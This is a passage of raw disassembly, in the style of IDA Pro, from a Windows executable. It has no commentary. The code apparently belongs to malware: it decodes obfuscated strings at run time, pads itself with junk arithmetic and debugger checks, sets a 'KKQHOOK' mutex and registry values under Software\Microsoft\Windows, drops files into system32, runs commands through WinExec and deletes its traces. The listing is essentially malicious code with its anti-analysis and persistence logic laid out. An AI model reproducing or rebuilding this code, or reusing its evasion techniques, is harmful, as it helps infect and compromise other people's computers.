		lea	edi, [ebp+var_E08]
		push	edi
		call	sub_40C6D4
		add	esp, 10h


loc_409863:				; CODE XREF: sub_4096E4+161j
		and	[ebp+var_1018],	0
		mov	[ebp+var_1028],	4
		call	sub_40C194	; GetCurrentThreadId
		push	1Ah
		push	offset aGqcdzsvxmSuvqg ; "£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ"
		call	sub_40129C
		mov	[ebp+var_15B4],	eax
		push	3
		push	offset aScu	; "™–“"
		call	sub_40129C
		lea	edi, [ebp+var_1150]
		push	edi
		lea	edi, [ebp+var_1028]
		push	edi
		lea	edi, [ebp+var_1018]
		push	edi
		push	eax
		mov	edi, [ebp+var_15B4]
		push	edi
		push	80000001h
		call	sub_4014AA
		call	sub_40C2B4	; IsDebuggerPresent
		lea	edi, [ebp+var_1155]
		lea	esi, aJsz	; " jSZ"
		mov	ecx, 5
		rep movsb
		push	7
		push	offset aScuE	; "Ï™–“ÍÕ…"
		call	sub_40129C
		push	[ebp+var_1018]
		push	eax
		lea	edi, [ebp+var_1127]
		push	edi
		call	sub_40C6B0
		mov	[ebp+var_101F],	0B8h
		movzx	eax, [ebp+var_101F]
		imul	eax, 6FBDh
		mov	[ebp+var_101F],	al
		lea	eax, [ebp+var_1127]
		push	eax
		lea	eax, [ebp+var_E08]
		push	eax
		call	sub_40C6D4
		call	sub_40C188	; GetCurrentProcessId
		push	1
		push	offset aB	; ""
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	0
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_600]
		push	edi
		lea	edi, [ebp+var_E08]
		push	edi
		push	0
		call	sub_4063A9
		add	esp, 6Ch
		mov	ebx, eax
		call	sub_40C194	; GetCurrentThreadId
		or	ebx, ebx
		jnz	short loc_40999B
		mov	[ebp+var_15B6],	318Dh
		movzx	eax, [ebp+var_15B6]
		imul	eax, 240Eh
		mov	[ebp+var_15B6],	ax
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4035A9
		pop	ecx
		call	sub_40C2B4	; IsDebuggerPresent
		jmp	loc_40A383
; ---------------------------------------------------------------------------


loc_40999B:				; CODE XREF: sub_4096E4+281j
		and	[ebp+var_1018],	0
		push	1Ah
		push	offset aGqcdzsvxmSuvqg ; "£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ"
		call	sub_40129C
		mov	[ebp-15B8h], eax
		push	3
		push	offset aScu	; "™–“"
		call	sub_40129C
		push	4
		push	4
		lea	edi, [ebp+var_1018]
		push	edi
		push	eax
		mov	edi, [ebp-15B8h]
		push	edi
		push	80000001h
		call	sub_4015C0
		mov	[ebp+var_1020],	0F4h
		movzx	eax, [ebp+var_1020]
		imul	eax, 307Eh
		mov	[ebp+var_1020],	al
		push	0
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_401AC1
		add	esp, 30h
		mov	[ebp+var_E0C], eax
		or	eax, eax
		jz	loc_40A383
		mov	[ebp+var_1022],	1FAh
		add	[ebp+var_1022],	144Fh
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C3E0	; DeleteFileA
		lea	edi, [ebp+var_115D]
		lea	esi, aEq	; "`<|'&eq"
		movsd
		movsd
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4035A9
		pop	ecx
		and	[ebp+var_608], 0
		jmp	loc_40A335
; ---------------------------------------------------------------------------


loc_409A5B:				; CODE XREF: sub_4096E4+C74j
		mov	eax, dword_4459BF
		mov	[ebp+var_35BC+1], eax
		cmp	[ebp+var_200], 0
		jz	loc_40A335
		call	sub_40C194	; GetCurrentThreadId
		lea	ecx, [ebp+var_200]
		or	eax, 0FFFFFFFFh


loc_409A81:				; CODE XREF: sub_4096E4+3A2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409A81
		cmp	eax, 5Ch
		jb	loc_40A335
		mov	[ebp+var_1A8], 0
		push	0FFFh
		lea	eax, [ebp+var_25B8]
		push	eax
		lea	eax, [ebp+var_1A7]
		push	eax
		call	sub_408A61
		push	0FFFh
		lea	eax, [ebp+var_35B7]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408A61
		add	esp, 18h
		call	sub_40C218	; GetTickCount
		mov	[ebp+var_15BA],	0
		mov	[ebp+var_15B9],	0
		jmp	short loc_409AFE
; ---------------------------------------------------------------------------


loc_409AE0:				; CODE XREF: sub_4096E4+433j
		movzx	eax, [ebp+var_15B9]
		lea	edx, [ebp+eax+var_25B8]
		movsx	ecx, byte ptr [edx]
		sub	ecx, eax
		mov	eax, ecx
		mov	[edx], al
		add	[ebp+var_15B9],	1


loc_409AFE:				; CODE XREF: sub_4096E4+3FAj
		lea	ecx, [ebp+var_25B8]
		or	eax, 0FFFFFFFFh


loc_409B07:				; CODE XREF: sub_4096E4+428j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409B07
		movzx	esi, [ebp+var_15B9]
		cmp	esi, eax
		jb	short loc_409AE0
		call	sub_40C1B8	; RtlGetLastWin32Error
		lea	ecx, [ebp+var_25B8]
		or	eax, 0FFFFFFFFh


loc_409B27:				; CODE XREF: sub_4096E4+448j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409B27
		lea	esi, [ebp+var_35B7]
		push	esi
		push	eax
		lea	edi, [ebp+var_25B8]
		push	edi
		call	sub_4088C3
		add	esp, 0Ch
		mov	[ebp+var_35C0],	eax
		push	5
		push	offset aZagd	; "‡€ƒ„Ð"
		call	sub_40129C
		add	esp, 8
		mov	edi, 13h
		sub	edi, dword_43B098
		push	edi
		push	eax
		lea	edi, [ebp+var_25B8]
		push	edi
		call	sub_40181E
		add	esp, 0Ch
		cmp	eax, 0
		jnz	loc_409FD3
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	eax, dword_4459C3
		mov	[ebp+var_46EC],	eax
		lea	edi, [ebp+var_46F4]
		lea	esi, aQutqT	; "%Qutq t"
		mov	ecx, 8
		rep movsb
		lea	eax, [ebp+var_25B3]
		push	eax
		lea	eax, [ebp+var_45C3]
		push	eax
		call	sub_40C138
		mov	[ebp+var_35C4],	0
		mov	[ebp+var_45C8],	4
		lea	eax, [ebp+var_45D4]
		push	eax
		lea	eax, [ebp+var_45C8]
		push	eax
		lea	eax, [ebp+var_35C4]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014AA
		add	esp, 18h
		call	sub_40C188	; GetCurrentProcessId
		push	1
		push	offset aB	; ""
		call	sub_40129C
		add	esp, 8
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	0
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_600]
		push	edi
		lea	edi, [ebp+var_45C3]
		push	edi
		push	offset dword_41EAD0
		call	sub_4063A9
		add	esp, 20h
		mov	ebx, eax
		call	sub_40C218	; GetTickCount
		cmp	ebx, 0
		jnz	short loc_409C6B
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4035A9
		add	esp, 4
		mov	[ebp+var_4714],	7890h
		add	[ebp+var_4714],	336h
		jmp	short loc_409CAF
; ---------------------------------------------------------------------------


loc_409C6B:				; CODE XREF: sub_4096E4+55Bj
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4015C0
		mov	eax, dword_4459CF
		mov	[ebp+var_46F8],	eax
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4035A9
		add	esp, 1Ch
		mov	eax, dword_4459D3
		mov	[ebp+var_46FC],	eax


loc_409CAF:				; CODE XREF: sub_4096E4+585j
		and	[ebp+var_35C4],	0
		mov	[ebp+var_45C8],	4
		call	sub_40C2B4	; IsDebuggerPresent
		lea	eax, [ebp+var_45D4]
		push	eax
		lea	eax, [ebp+var_45C8]
		push	eax
		lea	eax, [ebp+var_35C4]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014AA
		add	esp, 18h
		push	0
		push	0
		push	4
		push	0
		push	0
		push	80000000h
		push	offset dword_40DFD0
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_45CC],	eax
		call	sub_40C188	; GetCurrentProcessId
		push	0
		push	[ebp+var_45CC]
		call	sub_40C1A0	; GetFileSize
		mov	[ebp+var_46E8],	eax
		push	[ebp+var_45CC]
		call	sub_40C1DC	; CloseHandle
		call	sub_40C188	; GetCurrentProcessId
		mov	eax, [ebp+var_46E8]
		cmp	[ebp+var_35C4],	eax
		jb	short loc_409D65
		mov	[ebp+var_4714],	783Bh
		mov	eax, [ebp+var_4714]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_4714],	edx
		jmp	loc_409E90
; ---------------------------------------------------------------------------


loc_409D65:				; CODE XREF: sub_4096E4+660j
		mov	eax, dword_4459D7
		mov	[ebp+var_4700],	eax
		mov	eax, dword_43B094
		inc	eax
		push	eax
		lea	eax, [ebp+var_46D3]
		push	eax
		call	sub_401719
		mov	[ebp+var_46D6],	62AFh
		movzx	eax, [ebp+var_46D6]
		imul	eax, 4D6h
		mov	[ebp+var_46D6],	ax
		push	9
		push	offset aGmGDaa	; "Õƒ¬ÕƒÞ„€"
		call	sub_40129C
		lea	edi, [ebp+var_46D3]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40C6B0
		lea	edi, [ebp+var_4708]
		lea	esi, aBPA	; "&B /p%€"
		movsd
		movsd
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40352B
		call	sub_40C218	; GetTickCount
		push	1
		push	offset aB	; ""
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	[ebp+var_35C4]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_600]
		push	edi
		lea	edi, [ebp+var_45C3]
		push	edi
		push	offset dword_40DFD0
		call	sub_4063A9
		mov	ebx, eax
		mov	[ebp+var_46DC],	63C2h
		add	[ebp+var_46DC],	4AD7h
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C3E0	; DeleteFileA
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4035A9
		add	esp, 50h
		call	sub_40C194	; GetCurrentThreadId
		or	ebx, ebx
		jz	short loc_409E90
		mov	[ebp+var_4710],	0ADh
		add	[ebp+var_4710],	9Ah
		cmp	[ebp+var_604], 0
		jz	short loc_409E90
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4015C0
		add	esp, 18h


loc_409E90:				; CODE XREF: sub_4096E4+67Cj
					; sub_4096E4+771j ...
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_413CB0
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_45D0],	eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_40A383
		push	[ebp+var_45D0]
		call	sub_40C1DC	; CloseHandle
		lea	eax, [ebp+var_45C3]
		push	eax
		lea	eax, [ebp+var_E08]
		push	eax
		call	sub_40C6B0
		mov	[ebp+var_46DE],	3884h
		inc	[ebp+var_46DE]
		push	6
		push	offset aFaa	; "Ï”€ÍÂ"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_E08]
		push	edi
		call	sub_40C6D4
		mov	[ebp+var_46DF],	0EFh
		movzx	eax, [ebp+var_46DF]
		imul	eax, 56B3h
		mov	[ebp+var_46DF],	al
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40352B
		push	1
		push	offset aB	; ""
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	[ebp+var_35C4]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_600]
		push	edi
		lea	edi, [ebp+var_E08]
		push	edi
		push	offset dword_413CB0
		call	sub_4063A9
		mov	ebx, eax
		mov	[ebp+var_46E2],	17CDh
		movzx	eax, [ebp+var_46E2]
		imul	eax, 7FD2h
		mov	[ebp+var_46E2],	ax
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C3E0	; DeleteFileA
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4035A9
		add	esp, 48h
		lea	edi, [ebp+var_470F]
		lea	esi, aEijF	; "eiJ=+f"
		mov	ecx, 7
		rep movsb
		or	ebx, ebx
		jz	short loc_409FD3
		mov	word ptr [ebp+var_4714+2], 6103h
		add	word ptr [ebp+var_4714+2], 58EFh
		push	offset dword_413CB0
		call	sub_40C3E0	; DeleteFileA


loc_409FD3:				; CODE XREF: sub_4096E4+495j
					; sub_4096E4+8D1j
		cmp	[ebp+var_200], 3Ah
		jnz	loc_40A1B7
		cmp	[ebp+var_1FD], 3Ah
		jnz	loc_40A1B7
		mov	[ebp+var_35C8],	2DB0h
		add	[ebp+var_35C8],	3D7h
		mov	[ebp+var_35C9],	83h
		sub	[ebp+var_35C9],	50h
		mov	[ebp+var_1FD], 0
		push	5
		push	offset aE_1	; "ÊÕÀÂ…"
		call	sub_40129C
		lea	edi, [ebp+var_35C4]
		push	edi
		push	eax
		lea	edi, [ebp+var_200]
		push	edi
		call	sub_40C6C8
		add	esp, 14h
		call	sub_40C2B4	; IsDebuggerPresent
		cmp	[ebp+var_35C4],	0
		jz	short loc_40A070
		call	sub_40C698
		mov	edx, 621B97C3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		inc	edi
		cmp	edi, [ebp+var_35C4]
		ja	loc_40A335


loc_40A070:				; CODE XREF: sub_4096E4+961j
		cmp	ds:dword_418380, 2
		jnz	short loc_40A0DC
		mov	[ebp+var_35D8],	4729h
		sub	[ebp+var_35D8],	5564h
		push	400h
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C200	; GetSystemDirectoryA
		push	0Ah
		push	offset aGmuafAsc ; "Õƒ¬“”Þ€™–"
		call	sub_40129C
		lea	edi, [ebp+var_600]
		push	edi
		push	eax
		lea	edi, [ebp+var_100F]
		push	edi
		call	sub_40C6B0
		push	8
		push	offset aMuafXix	; "¬“”Þ•ˆ•"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40C6D4
		add	esp, 24h
		jmp	short loc_40A154
; ---------------------------------------------------------------------------


loc_40A0DC:				; CODE XREF: sub_4096E4+993j
		call	sub_40C188	; GetCurrentProcessId
		push	400h
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C248	; GetWindowsDirectoryA
		push	0Eh
		push	offset aGmuqaasufAsc ; "Õƒ¬“Ÿ‘ž”Þ€™–"
		call	sub_40129C
		lea	edi, [ebp+var_600]
		push	edi
		push	eax
		lea	edi, [ebp+var_100F]
		push	edi
		call	sub_40C6B0
		call	sub_40C2B4	; IsDebuggerPresent
		push	0Ch
		push	offset aMuqaasufUqa ; "¬“Ÿ‘ž”Þ“Ÿ"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40C6D4
		add	esp, 24h
		mov	[ebp+var_35D8],	20B4h
		mov	eax, 7569h
		mul	[ebp+var_35D8]
		mov	[ebp+var_35DC],	eax
		mov	[ebp+var_35D8],	eax


loc_40A154:				; CODE XREF: sub_4096E4+9F6j
		lea	eax, [ebp+var_100F]
		push	eax
		call	sub_40C3E0	; DeleteFileA
		lea	edi, [ebp+var_35D2]
		lea	esi, a2qZg8	; "2q %ZG8"
		movsd
		movsd
		push	8
		push	offset aGG_0	; "ÕƒÐß³ÐÕƒ"
		call	sub_40129C
		lea	edi, [ebp+var_200]
		add	edi, 4
		push	edi
		lea	edi, [ebp+var_600]
		push	edi
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40C6B0
		add	esp, 18h
		push	0
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40C3A4	; WinExec
		mov	[ebp+var_35CA],	57h
		add	[ebp+var_35CA],	1


loc_40A1B7:				; CODE XREF: sub_4096E4+8F6j
					; sub_4096E4+903j
		push	5
		push	offset aZeaf	; "‡…€”Ð"
		call	sub_40129C
		mov	edi, 8
		sub	edi, dword_43B094
		push	edi
		push	eax
		lea	edi, [ebp+var_200]
		push	edi
		call	sub_40181E
		add	esp, 14h
		or	eax, eax
		jnz	loc_40A335
		call	sub_40C218	; GetTickCount
		lea	edi, [ebp+var_55C5]
		lea	esi, aMZ4	; "%,m z4"
		mov	ecx, 7
		rep movsb
		mov	ax, word_4459F9
		mov	[ebp+var_55C8+1], ax
		mov	eax, 0Eh
		sub	eax, dword_43B094
		push	eax
		lea	eax, [ebp+var_F0B]
		push	eax
		call	sub_401719
		mov	ax, word_4459FB
		mov	[ebp+var_55CA+1], ax
		push	9
		push	offset aGmGFsd	; "Õƒ¬ÕƒÞ”‘„"
		call	sub_40129C
		lea	edi, [ebp+var_F0B]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_45BF]
		push	edi
		call	sub_40C6B0
		call	sub_40C2B4	; IsDebuggerPresent
		lea	edi, [ebp+var_55CF]
		lea	esi, aJzft	; " jzFt"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_1FB]
		push	eax
		lea	eax, [ebp+var_55BE]
		push	eax
		call	sub_40C138
		push	3
		push	offset aIf	; "ˆ”Â"
		call	sub_40129C
		mov	[ebp+var_55DC],	eax
		push	1
		push	offset aB	; ""
		call	sub_40129C
		push	0
		push	0
		push	0
		push	eax
		mov	edi, [ebp+var_55DC]
		push	edi
		lea	edi, [ebp+var_45BF]
		push	edi
		lea	edi, [ebp+var_55BE]
		push	edi
		push	0
		call	sub_4063A9
		add	esp, 50h
		mov	ebx, eax
		lea	edi, [ebp+var_55D5]
		lea	esi, aEGry	; "E=GrY"
		mov	ecx, 3
		rep movsw
		cmp	ebx, 2
		jnz	short loc_40A335
		call	sub_40C1F4	; GetProcessHeap
		push	0
		lea	eax, [ebp+var_45BF]
		push	eax
		call	sub_40C3A4	; WinExec
		push	6
		push	offset aUxzjxv	; "ž•‡†•‚"
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43B098
		push	edi
		push	eax
		lea	edi, [ebp+var_55BE]
		push	edi
		call	sub_40181E
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_40A335
		mov	eax, 13h
		sub	eax, dword_43B098
		push	eax
		call	sub_40C65C
		pop	ecx


loc_40A335:				; CODE XREF: sub_4096E4+372j
					; sub_4096E4+389j ...
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_608]
		push	[ebp+var_E0C]
		call	sub_401C5D
		add	esp, 0Ch
		mov	[ebp+var_608], eax
		or	eax, eax
		jnz	loc_409A5B
		push	[ebp+var_E0C]
		call	sub_40C2D8	; LocalFree
		mov	[ebp+var_1019],	94h
		movzx	eax, [ebp+var_1019]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1019],	al


loc_40A383:				; CODE XREF: sub_4096E4+2B2j
					; sub_4096E4+32Cj ...
		fld	dbl_445C04
		fimul	dword_43B0B0
		mov	edi, eax
		call	sub_40C090
		xchg	eax, edi
		push	edi
		call	sub_40C650
		mov	edi, dword_43B0B4
		sub	edi, eax
		inc	edi
		mov	[ebp+var_1014],	edi
		call	sub_40C224	; GetVersion
		mov	eax, edi
		mov	[ebp-15BCh], eax
		push	eax
		call	sub_40C650
		add	esp, 8
		mov	edi, [ebp-15BCh]
		add	edi, eax
		mov	[ebp+var_1014],	edi
		mov	eax, edi
		mov	edi, dword_43B0B4
		sub	edi, dword_43B0B0
		mov	ecx, edi
		inc	ecx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_15C0],	eax
		mov	[ebp+var_1014],	eax
		call	sub_40C218	; GetTickCount
		call	sub_40C698
		mov	[ebp+var_15C4],	eax
		mov	eax, dword_43B0B0
		mov	edx, 66666667h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 1
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		lea	edi, [eax+eax*4]
		mov	esi, [ebp+var_1014]
		mov	edx, [ebp+var_15C4]
		mov	eax, esi
		imul	eax, [ebp+var_15C4]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	edi, [edi+edx+5]
		mov	dword_43B0B0, edi
		mov	ax, word_445A09
		mov	[ebp+var_115F],	ax
		mov	eax, dword_43B0B4
		cmp	edi, eax
		jbe	short loc_40A461
		and	dword_43B0B0, 0


loc_40A461:				; CODE XREF: sub_4096E4+D74j
		call	sub_40C1F4	; GetProcessHeap
		push	493E0h
		call	sub_40C638
		pop	ecx
		call	sub_40C1B8	; RtlGetLastWin32Error
		jmp	loc_40975C
sub_4096E4	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A482	proc near		; CODE XREF: sub_40A4E2+16p

var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	eax, dword_445A0B
		mov	[ebp+var_8], eax
		push	offset aKkqhook_28 ; "KKQHOOK_28"
		push	0
		push	1F0001h
		call	sub_40C2E4	; OpenMutexA
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_40A4DF
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	[ebp+var_4]
		call	sub_40C1DC	; CloseHandle
		mov	[ebp+var_9], 0D9h
		add	[ebp+var_9], 86h
		mov	eax, 13h
		sub	eax, dword_43B098
		push	eax
		call	sub_40C65C
		pop	ecx
		mov	[ebp+var_10], 15A8h
		inc	[ebp+var_10]


loc_40A4DF:				; CODE XREF: sub_40A482+2Aj
		pop	edi
		leave
		retn
sub_40A482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4E2	proc near		; CODE XREF: sub_40C0B4+5Cp

var_7B9		= byte ptr -7B9h
var_7B8		= dword	ptr -7B8h
var_7B4		= byte ptr -7B4h
var_7B0		= byte ptr -7B0h
var_7AB		= byte ptr -7ABh
var_7A8		= byte ptr -7A8h
var_7A3		= byte ptr -7A3h
var_7A0		= byte ptr -7A0h
var_79A		= byte ptr -79Ah
var_799		= byte ptr -799h
var_791		= byte ptr -791h
var_78C		= word ptr -78Ch
var_78A		= byte ptr -78Ah
var_784		= byte ptr -784h
var_77D		= dword	ptr -77Dh
var_779		= byte ptr -779h
var_774		= byte ptr -774h
var_76D		= byte ptr -76Dh
var_766		= byte ptr -766h
var_667		= byte ptr -667h
var_568		= byte ptr -568h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_358		= dword	ptr -358h
var_352		= word ptr -352h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= byte ptr -344h
var_2E0		= byte ptr -2E0h
var_27C		= dword	ptr -27Ch
var_276		= word ptr -276h
var_274		= byte ptr -274h
var_273		= byte ptr -273h
var_272		= word ptr -272h
var_270		= byte ptr -270h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_60		= word ptr -60h
var_5D		= byte ptr -5Dh
var_5C		= dword	ptr -5Ch
var_55		= dword	ptr -55h
var_51		= dword	ptr -51h
var_4D		= dword	ptr -4Dh
var_49		= dword	ptr -49h
var_45		= dword	ptr -45h
var_41		= dword	ptr -41h
var_3D		= dword	ptr -3Dh
var_39		= dword	ptr -39h
var_35		= dword	ptr -35h
var_31		= dword	ptr -31h
var_2D		= byte ptr -2Dh
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_1D		= byte ptr -1Dh
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7BCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_60], 7665h
		inc	[ebp+var_60]
		call	sub_40A482
		lea	edi, [ebp+var_76D]
		lea	esi, aCQtV	; "C-qT~V"
		mov	ecx, 7
		rep movsb
		push	104h
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_40C200	; GetSystemDirectoryA
		lea	edi, [ebp+var_774]
		lea	esi, aD9u5	; "d  9u5"
		mov	ecx, 7
		rep movsb
		push	13h
		push	offset aMfvsjxvgmufsgv ; "¬”‚™†•‚ƒ¬ž”™ƒ‚”Þƒ‰ƒ"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_164]
		push	edi
		call	sub_40C6D4
		add	esp, 10h
		call	sub_40C224	; GetVersion
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_358], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A582
		call	sub_4085C0
		jmp	short loc_40A58D
; ---------------------------------------------------------------------------


loc_40A582:				; CODE XREF: sub_40A4E2+97j
		push	[ebp+var_358]
		call	sub_40C1DC	; CloseHandle


loc_40A58D:				; CODE XREF: sub_40A4E2+9Ej
		mov	[ebp+var_168], 3F29h
		add	[ebp+var_168], 61B7h
		push	9
		push	offset aXustXfgc ; "•ž‘’œ•”ƒ–"
		call	sub_40129C
		push	eax
		call	sub_40C254	; GlobalAddAtomA
		call	sub_40C188	; GetCurrentProcessId
		mov	eax, [ebp+arg_0]
		mov	ds:dword_41D928, eax
		mov	ds:dword_418370, 94h
		lea	edi, [ebp+var_779]
		lea	esi, aSgl	; "+SƒL"
		mov	ecx, 5
		rep movsb
		push	offset dword_418370
		call	sub_40C230	; GetVersionExA
		call	sub_40C1F4	; GetProcessHeap
		push	0FFh
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		call	sub_40C200	; GetSystemDirectoryA
		call	sub_40C1B8	; RtlGetLastWin32Error
		call	sub_40C218	; GetTickCount
		push	eax
		call	sub_40C6BC
		call	sub_40C2B4	; IsDebuggerPresent
		mov	eax, dword_445A22
		mov	[ebp+var_77D], eax
		push	104h
		lea	eax, [ebp+var_45C]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C1C4	; GetModuleFileNameA
		and	[ebp+var_5C], 0
		mov	[ebp+var_460], 4
		mov	[ebp+var_16C], 1856h
		inc	[ebp+var_16C]
		lea	eax, [ebp+var_784]
		push	eax
		lea	eax, [ebp+var_460]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014AA
		add	esp, 24h
		mov	[ebp+var_464], eax
		call	sub_40C194	; GetCurrentThreadId
		cmp	[ebp+var_464], 0
		jz	short loc_40A6D0
		call	sub_40C218	; GetTickCount
		cmp	[ebp+var_5C], 1Ch
		jbe	short loc_40A6A7
		mov	eax, 13h
		sub	eax, dword_43B098
		push	eax
		call	sub_40C65C
		pop	ecx


loc_40A6A7:				; CODE XREF: sub_40A4E2+1B1j
		mov	[ebp+var_7B8], 6BD5h
		mov	eax, [ebp+var_7B8]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_7B8], edx
		cmp	[ebp+var_5C], 1Ch
		jz	loc_40A848
		call	sub_40C2B4	; IsDebuggerPresent


loc_40A6D0:				; CODE XREF: sub_40A4E2+1A6j
		lea	edi, [ebp+var_78A]
		lea	esi, aVSl	; "!‚*SL"
		mov	ecx, 3
		rep movsw
		mov	ax, word_445A2C
		mov	[ebp+var_78C], ax
		call	sub_40C698
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_2D], dl
		mov	[ebp+var_1], 1
		jmp	short loc_40A748
; ---------------------------------------------------------------------------


loc_40A71B:				; CODE XREF: sub_40A4E2+26Bj
		call	sub_40C698
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_2D], dl
		add	[ebp+var_1], 1


loc_40A748:				; CODE XREF: sub_40A4E2+237j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_40A71B
		lea	edi, [ebp+var_791]
		lea	esi, aRL	; "&R:L"
		mov	ecx, 5
		rep movsb
		mov	[ebp+var_25], 0
		call	sub_40C698
		mov	edx, eax
		test	dl, 1
		jnz	short loc_40A78F
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	[ebp+var_27], 33h
		mov	[ebp+var_7B8], 1E41h
		inc	[ebp+var_7B8]
		mov	[ebp+var_26], 32h


loc_40A78F:				; CODE XREF: sub_40A4E2+28Ej
		push	9
